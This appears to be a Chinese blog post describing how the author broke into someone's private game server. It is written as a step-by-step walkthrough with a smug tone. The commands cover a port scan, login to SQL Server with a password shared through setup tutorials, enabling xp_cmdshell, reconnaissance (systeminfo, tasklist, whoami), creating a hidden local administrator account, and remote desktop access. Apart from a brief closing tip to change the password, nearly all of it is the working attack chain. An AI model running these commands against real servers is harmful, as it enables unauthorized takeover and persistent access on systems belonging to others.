0x00:前言

SQLServer
今日闲来无事,无聊翻了翻SF论坛,在预览了搭建教程之后,发现他们要求服务器上安装sqlserver并且将sa密码设置成同一个password。
于是有了这一篇文章。(坏笑)


0x01:检查SQLServer版本,获取服务器基本信息

  • 对目标服务器进行扫描
nmap -sS xxx.xxx.xxx.xxx

NMAP
发现靶机监听了1433端口和3389端口,有戏

  • 使用Navicat对SQLServer连接

使用在SF搭建教程视频中的密码对靶机上的SQLServer进行连接。
连接成功

  • 查看SQLServer版本
SELECT @@VERSION

SQLServer版本
发现SQLServer的版本为2008 R2

  • 查询是否存在xp_cmdshell
SELECT COUNT
    ( * )
FROM
    master.dbo.sysobjects
WHERE
    xtype = 'x'
    AND name = 'xp_cmdshell'

xp_cmdshell
发现存在xp_cmdshell。

  • 启用xp_cmdshell

由于sqlserver在默认情况下是禁用xp_cmdshell,故我们需要开启一下。
Error

sp_configure 'show advanced options',1 ;
RECONFIGURE;
GO;
sp_configure 'xp_cmdshell',1
RECONFIGURE;
GO;

开启xp_cmdshell

  • 开始侦查

查看操作系统信息

exec master..xp_cmdshell "systeminfo"

systeminfo

检查正在运行的进程

exec master..xp_cmdshell "tasklist"

tasklist
发现不存在大数字等安全软件(坏笑)。

查看存在用户

exec master..xp_cmdshell "NET USER"

NET USER

检查权限

exec master..xp_cmdshell "whoami"

whoami
发现是SYSTEM权限。


0x02:开始提权

  • 添加asp.net用户并将其加入administrator管理组
exec master..xp_cmdshell "net user asp.net QAQ@123456 /add"
exec master..xp_cmdshell "net localgroup administrators asp.net /add"
  • 使用MSTSC尝试远程

使用刚刚创建的用户名与密码尝试进行远程连接
远程连接

于是乎,悄悄的,我进来了。


0x03:后话

使用别人的SF手工端的朋友们,建议你们还是修改一下数据库的密码比较好。
(以后我想到再补充上来。
嘿嘿嘿

Last modification:June 5th, 2020 at 10:47 pm
If you think my article is useful to you, please feel free to appreciate